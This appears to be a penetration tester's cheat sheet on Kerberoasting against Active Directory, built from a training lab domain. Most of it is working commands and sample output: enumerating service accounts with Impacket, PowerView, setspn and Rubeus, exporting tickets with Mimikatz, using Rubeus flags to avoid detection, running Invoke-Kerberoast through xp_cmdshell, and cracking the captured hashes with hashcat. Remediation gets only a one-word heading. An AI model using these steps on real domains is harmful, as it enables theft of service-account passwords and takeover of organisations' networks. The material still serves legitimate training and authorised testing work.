Kerberoast

$krb5tgs$23$*, an RC4 (type 23) encrypted ticket

$krb5tgs$18$* AES-256 (Type 18)

NXC

nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt
LogoKerberoasting | NetExec

Impacket

List SPN Account

$ GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend

Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation

Password:
ServicePrincipalName                           Name               MemberOf                                                                                  PasswordLastSet             LastLogon  Delegation 
---------------------------------------------  -----------------  ----------------------------------------------------------------------------------------  --------------------------  ---------  ----------
backupjob/veam001.inlanefreight.local          BACKUPAGENT        CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                       2022-02-15 17:15:40.842452  <never>               
sts/inlanefreight.local                        SOLARWINDSMONITOR  CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                       2022-02-15 17:14:48.701834  <never>               
MSSQLSvc/SPSJDB.inlanefreight.local:1433       sqlprod            CN=Dev Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                        2022-02-15 17:09:46.326865  <never>               
MSSQLSvc/SQL-CL01-01inlanefreight.local:49351  sqlqa              CN=Dev Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                        2022-02-15 17:10:06.545598  <never>               
MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433  sqldev             CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                       2022-02-15 17:13:31.639334  <never>               
adfsconnect/azure01.inlanefreight.local        adfs               CN=ExchangeLegacyInterop,OU=Microsoft Exchange Security Groups,DC=INLANEFREIGHT,DC=LOCAL  2022-02-15 17:15:27.108079  <never>

Request all TGS

$ GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request 

Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation

Password:
ServicePrincipalName                           Name               MemberOf                                                                                  PasswordLastSet             LastLogon  Delegation 
---------------------------------------------  -----------------  ----------------------------------------------------------------------------------------  --------------------------  ---------  ----------
backupjob/veam001.inlanefreight.local          BACKUPAGENT        CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                       2022-02-15 17:15:40.842452  <never>               
sts/inlanefreight.local                        SOLARWINDSMONITOR  CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                       2022-02-15 17:14:48.701834  <never>               
MSSQLSvc/SPSJDB.inlanefreight.local:1433       sqlprod            CN=Dev Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                        2022-02-15 17:09:46.326865  <never>               
MSSQLSvc/SQL-CL01-01inlanefreight.local:49351  sqlqa              CN=Dev Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                        2022-02-15 17:10:06.545598  <never>               
MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433  sqldev             CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                       2022-02-15 17:13:31.639334  <never>               
adfsconnect/azure01.inlanefreight.local        adfs               CN=ExchangeLegacyInterop,OU=Microsoft Exchange Security Groups,DC=INLANEFREIGHT,DC=LOCAL  2022-02-15 17:15:27.108079  <never>               



$krb5tgs$23$*BACKUPAGENT$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/BACKUPAGENT*$790ae75fc53b0ace5daeb5795d21b8fe$b6be1ba275e23edd3b7dd3ad4d711c68f9170bac85e722cc3d94c80c5dca6bf2f07ed3d3bc209e9a6ff0445cab89923b26a01879a53249c5f0a8c4bb41f0ea1b1196c322640d37ac064ebe3755ce888947da98b5707e6b06cbf679db1e7bbbea7d10c36d27f976d3f9793895fde20d3199411a90c528a51c91d6119cb5835bd29457887dd917b6c621b91c2627b8dee8c2c16619dc2a7f6113d2e215aef48e9e4bba8deff329a68666976e55e6b3af0cb8184e5ea6c8c2060f8304bb9e5f5d930190e08d03255954901dc9bb12e53ef87ed603eb2247d907c3304345b5b481f107cefdb4b01be9f4937116016ef4bbefc8af2070d039136b79484d9d6c7706837cd9ed4797ad66321f2af200bba66f65cac0584c42d900228a63af39964f02b016a68a843a81f562b493b29a4fc1ce3ab47b934cbc1e29545a1f0c0a6b338e5ac821fec2bee503bc56f6821945a4cdd24bf355c83f5f91a671bdc032245d534255aac81d1ef318d83e3c52664cfd555d24a632ee94f4adeb258b91eda3e57381dba699f5d6ec7b9a8132388f2346d33b670f1874dfa1e8ee13f6b3421174a61029962628f0bc84fa0c3c6d7bbfba8f2d1900ef9f7ed5595d80edc7fc6300385f9aa6ce1be4c5b8a764c5b60a52c7d5bbdc4793879bfcd7d1002acbe83583b5a995cf1a4bbf937904ee6bb537ee00d99205ebf5f39c722d24a910ae0027c7015e6daf73da77af1306a070fdd50aed472c444f5496ebbc8fe961fee9997651daabc0ef0f64d47d8342a499fa9fb8772383a0370444486d4142a33bc45a54c6b38bf55ed613abbd0036981dabc88cc88a5833348f293a88e4151fbda45a28ccb631c847da99dd20c6ea4592432e0006ae559094a4c546a8e0472730f0287a39a0c6b15ef52db6576a822d6c9ff06b57cfb5a2abab77fd3f119caaf74ed18a7d65a47831d0657f6a3cc476760e7f71d6b7cf109c5fe29d4c0b0bb88ba963710bd076267b889826cc1316ac7e6f541cecba71cb819eace1e2e2243685d6179f6fb6ec7cfcac837f01989e7547f1d6bd6dc772aed0d99b615ca7e44676b38a02f4cb5ba8194b347d7f21959e3c41e29a0ad422df2a0cf073fcfd37491ac062df903b77a32101d1cb060efda284cae727a2e6cb890f4243a322794a97fc285f04ac6952aa57032a0137ad424d231e15b051947b3ec0d7d654353c41d6ad30c6874e5293f6e25a95325a3e164abd6bc205e5d7af0b642837f5af9eb4c5bca9040ab4b999b819ed6c1c4645f77ae45c0a5ae5fe612901c9d639392eaac830106aa249faa5a895633b20f553593e3ff01a9bb529ff036005ec453eaec481b7d1d65247abf62956366c0874493cf16da6ffb9066faa5f5bc1db5bbb51d9ccadc6c97964c7fe1be2fb4868f40b3b59fa6697443442fa5cebaaed9db0f1cb8476ec96bc83e74ebe51c025e14456277d0a7ce31e8848d88cbac9b57ac740f4678f71a300b5f50baa6e6b85a3b10a10f44ec7f708624212aeb4c60877322268acd941d590f81ffc7036e2e455e941e2cfb97e33fec5055284ae48204d
$krb5tgs$23$*SOLARWINDSMONITOR$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/SOLARWINDSMONITOR*$993de7a8296f2a3f2fa41badec4215e1$d0fb2166453e4f2483735b9005e15667dbfd40fc9f8b5028e4b510fc570f5086978371ecd81ba6790b3fa7ff9a007ee9040f0566f4aed3af45ac94bd884d7b20f87d45b51af83665da67fb394a7c2b345bff2dfe7fb72836bb1a43f12611213b19fdae584c0b8114fb43e2d81eeee2e2b008e993c70a83b79340e7f0a6b6a1dba9fa3c9b6b02adde8778af9ed91b2f7fa85dcc5d858307f1fa44b75f0c0c80331146dfd5b9c5a226a68d9bb0a07832cc04474b9f4b4340879b69e0c4e3b6c0987720882c6bb6a52c885d1b79e301690703311ec846694cdc14d8a197d8b20e42c64cc673877c0b70d7e1db166d575a5eb883f49dfbd2b9983dd7aab1cff6a8c5c32c4528e798237e837ffa1788dca73407aac79f9d6f74c6626337928457e0b6bbf666a0778c36cba5e7e026a177b82ed2a7e119663d6fe9a7a84858962233f843d784121147ef4e63270410640903ea261b04f89995a12b42a223ed686a4c3dcb95ec9b69d12b343231cccfd29604d6d777939206df4832320bdd478bda0f1d262be897e2dcf51be0a751490350683775dd0b8a175de4feb6cb723935f5d23f7839c08351b3298a6d4d8530853d9d4d1e57c9b220477422488c88c0517fb210856fb603a9b53e734910e88352929acc00f82c4d8f1dd783263c04aff6061fb26f3b7a475536f8c0051bd3993ed24ff22f58f7ad5e0e1856a74967e70c0dd511cc52e1d8c2364302f4ca78d6750aec81dfdea30c298126987b9ac867d6269351c41761134bc4be67a8b7646935eb94935d4121161de68aac38a740f09754293eacdba7dfe26ace6a4ea84a5b90d48eb9bb3d5766827d89b4650353e87d2699da312c6d0e1e26ec2f46f3077f13825764164368e26d58fc55a358ce979865cc57d4f34691b582a3afc18fe718f8b97c44d0b812e5deeed444d665e847c5186ad79ae77a5ed6efab1ed9d863edb36df1a5cd4abdbf7f7e872e3d5fa0bf7735348744d4fc048211c2e7973839962e91db362e5338da59bc0078515a513123d6c5537974707bdc303526437b4a4d3095d1b5e0f2d9db1658ac2444a11b59ddf2761ce4c1e5edd92bcf5cbd8c230cb4328ff2d0e2813b4654116b4fda929a38b69e3f9283e4de7039216f18e85b9ef1a59087581c758efec16d948accc909324e94cad923f2487fb2ed27294329ed314538d0e0e75019d50bcf410c7edab6ce11401adbaf5a3a009ab304d9bdcb0937b4dcab89e90242b7536644677c62fd03741c0b9d090d8fdf0c856c36103aedfd6c58e7064b07628b58c3e086a685f70a1377f53c42ada3cb7bb4ba0a69085dec77f4b7287ca2fb2da9bcbedc39f50586bfc9ec0ac61b687043afa239a46e6b20aacb7d5d8422d5cacc02df18fea3be0c0aa0d83e7982fc225d9e6a2886dc223f6a6830f71dabae21ff38e1722048b5788cd23ee2d6480206df572b6ba2acfe1a5ff6bee8812d585eeb4bc8efce92fd81aa0a9b57f37bf3954c26afc98e15c5c90747948d6008c80b620a1ec54ded2f3073b4b09ee5cc233bf7368427a6af0b1cb1276ebd85b45a30

<SNIP>

Request a single TGS

GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile sqldev_tgs

Crack

hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt
Hashes

Windows

User accounts used as Service accounts

CMD - Built In setspn

C:\htb> setspn.exe -Q */*

AD Module

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

PowerView

Get-DomainUser -SPN

TGS for one user using .NET classes

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/domain.local"
PS C:\htb> Add-Type -AssemblyName System.IdentityModel
PS C:\htb> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"

Id                   : uuid-67a2100c-150f-477c-a28a-19f6cfed4e90-2
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 2/24/2022 11:36:22 PM
ValidTo              : 2/25/2022 8:55:25 AM
ServicePrincipalName : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

All tickets

PS C:\htb> setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Mimikatz

Mimikatz
Using 'mimikatz.log' for logfile : OK

mimikatz # base64 /out:true
isBase64InterceptInput  is false
isBase64InterceptOutput is true

mimikatz # kerberos::list /export  

<SNIP>

[00000002] - 0x00000017 - rc4_hmac_nt      
   Start/End/MaxRenew: 2/24/2022 3:36:22 PM ; 2/25/2022 12:55:25 AM ; 3/3/2022 2:55:25 PM
   Server Name       : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433 @ INLANEFREIGHT.LOCAL
   Client Name       : htb-student @ INLANEFREIGHT.LOCAL
   Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ; 
====================
Base64 of file : 2-40a10000-htb-student@MSSQLSvc~DEV-PRE-SQL.inlanefreight.local~1433-INLANEFREIGHT.LOCAL.kirbi
====================
doIGPzCCBjugAwIBBaEDAgEWooIFKDCCBSRhggUgMIIFHKADAgEFoRUbE0lOTEFO
RUZSRUlHSFQuTE9DQUyiOzA5oAMCAQKhMjAwGwhNU1NRTFN2YxskREVWLVBSRS1T
UUwuaW5sYW5lZnJlaWdodC5sb2NhbDoxNDMzo4IEvzCCBLugAwIBF6EDAgECooIE
<SNIP>
Ys6KmIFpubCAqyQcoRUbE0lOTEFORUZSRUlHSFQuTE9DQUyiGDAWoAMCAQGhDzAN
GwtodGItc3R1ZGVudKMHAwUAQKEAAKURGA8yMDIyMDIyNDIzMzYyMlqmERgPMjAy
MjAyMjUwODU1MjVapxEYDzIwMjIwMzAzMjI1NTI1WqgVGxNJTkxBTkVGUkVJR0hU
LkxPQ0FMqTswOaADAgECoTIwMBsITVNTUUxTdmMbJERFVi1QUkUtU1FMLmlubGFu
ZWZyZWlnaHQubG9jYWw6MTQzMw==
====================

   * Saved to file     : 2-40a10000-htb-student@MSSQLSvc~DEV-PRE-SQL.inlanefreight.local~1433-INLANEFREIGHT.LOCAL.kirbi

<SNIP>

If we do not specify the base64 /out:true command, Mimikatz will extract the tickets and write them to .kirbi files

Remove new lines and white space

$ echo "<base64 blob>" |  tr -d \\n 

doIGPzCCBjugAwIBBaEDAgEWooIFKDCCBSRhggUgMIIFHKADAgEFoRUbE0lOTEFORUZSRUlHSFQuTE9DQUyiOzA5oAMCAQKhMjAwGwhNU1NRTFN2YxskREVWLVBSRS1TUUwuaW5sYW5lZnJlaWdodC5sb2NhbDoxNDMzo4IEvzCCBLugAwIBF6EDAgECooIErQSCBKmBMUn7JhVJpqG0ll7UnRuoeoyRtHxTS8JY1cl6z0M4QbLvJHi0JYZdx1w5sdzn9Q3tzCn8ipeu+NUaIsVyDuYU/LZG4o2FS83CyLNiu/r2Lc2ZM8Ve/rqdd+TGxvUkr+5caNrPy2YHKRogzfsO8UQFU1anKW4ztEB1S+f4d1SsLkhYNI4q67cnCy00UEf4gOF6zAfieo91LDcryDpi1UII0SKIiT0yr9IQGR3TssVnl70acuNac6eCC+Ufvyd7g9gYH <SNIP>

Place to kirbi file

cat encoded_file | base64 -d > sqldev.kirbi

Crack

python2.7 kirbi2john.py sqldev.kirbi

This will create a file called crack_file.

sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt
Hashes

You can also crack the .kirbi ticket directly

  • Check if the ticket has been granted

klist.exe

  • Export all tickets using Mimikatz

Invoke-Mimikatz -Command '"kerberos::list /export"'

  • Crack the Service account password

python.exe.\tgsrepcrack.py.\10k-worst-passwords.txt'.\2-40a10000-studentuser@USSvc~serviceaccount-US.TECHCORP.LOCAL.kirbi'
Logokerberoast/tgsrepcrack.py at master · nidem/kerberoastGitHub

PowerView

PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Get-DomainUser * -spn | select samaccountname

samaccountname
--------------
adfs
backupagent
krbtgt
sqldev
sqlprod
sqlqa

Target specific user

PS C:\htb> Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat

SamAccountName       : sqldev
DistinguishedName    : CN=sqldev,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
ServicePrincipalName : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433
TicketByteHexStream  :
Hash                 : $krb5tgs$23$*sqldev$INLANEFREIGHT.LOCAL$MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433*$BF9729001
                       376B63C5CAC933493C58CE7$4029DBBA2566AB4748EDB609CA47A6E7F6E0C10AF50B02D10A6F92349DDE3336018DE177
                       <SNIP>

Export to CSV file

PS C:\htb> Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation

Rubeus

List Kerberoast stats

Rubeus.exe kerberoast /stats

Request a TGS

Rubeus.exe kerberoast /user:svcadmin /simple

Avoid detection - Kerberoastable account that only support RC4_HMAC

Rubeus.exe kerberoast /stats /rc4opsec
Rubeus.exe kerberoast /user:svcadmin /simple /rc4opsec

All possible accounts

Rubeus.exe kerberoast /rc4opsec /outfile:kerberoast.txt
PS C:\htb> .\Rubeus.exe kerberoast /stats

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2


[*] Action: Kerberoasting

[*] Listing statistics about target users, no ticket requests being performed.
[*] Target Domain          : INLANEFREIGHT.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 9


 ------------------------------------------------------------
 | Supported Encryption Type                        | Count |
 ------------------------------------------------------------
 | RC4_HMAC_DEFAULT                                 | 7     |
 | AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 | 2     |
 ------------------------------------------------------------

 ----------------------------------
 | Password Last Set Year | Count |
 ----------------------------------
 | 2022                   | 9     |
 ----------------------------------
PS C:\htb> .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target Domain          : INLANEFREIGHT.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))(admincount=1))'

[*] Total kerberoastable users : 3


[*] SamAccountName         : backupagent
[*] DistinguishedName      : CN=BACKUPAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
[*] ServicePrincipalName   : backupjob/veam001.inlanefreight.local
[*] PwdLastSet             : 2/15/2022 2:15:40 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*backupagent$INLANEFREIGHT.LOCAL$backupjob/veam001.inlanefreight.local@INLANEFREIGHT.LOCAL*$750F377DEFA85A67EA0FE51B0B28F83D$049EE7BF77ABC968169E1DD9E31B8249F509080C1AE6C8575B7E5A71995F345CB583FECC68050445FDBB9BAAA83AC7D553EECC57286F1B1E86CD16CB3266827E2BE2A151EC5845DCC59DA1A39C1BA3784BA8502A4340A90AB1F8D4869318FB0B2BEC2C8B6C688BD78BBF6D58B1E0A0B980826842165B0D88EAB7009353ACC9AD4FE32811101<SNIP>
PS C:\htb> .\Rubeus.exe kerberoast /user:testspn /nowrap

/tgtdeleg flag to specify that we want only RC4 encryption when requesting a new service ticket

PS C:\htb> .\Rubeus.exe kerberoast /tgtdeleg /user:testspn /nowrap

This does not work against a Windows Server 2019 Domain Controller, regardless of the domain functional level

Empire - Invoke-Kerberoast

https://raw.githubusercontent.com/EmpireProject/Empire/refs/heads/master/data/module_source/credentials/Invoke-Kerberoast.ps1
. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -Identity svcadmin
SQL (hacker  dbo@master)> xp_cmdshell powershell -c import-module c:\invoke-kerberoast.ps1; invoke-kerberoast -outputformat hashcat

SharpADWS

C:\Users\Marcus>SharpADWS.exe Kerberoastable -action list

[*] Found kerberoastable users:
[*] CN=krbtgt,CN=Users,DC=corp,DC=local
[*]     kadmin/changepw
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*]     WWW/win-iisserver.corp.local/IIS
[*]     TERMSERV/win-iisserver.corp.local
[*] CN=John,CN=Users,DC=corp,DC=local
[*]     TERMSERV/WIN-SERVER2026

Roast In The Middle

Remediation

gMSA:

gMSA

Resources

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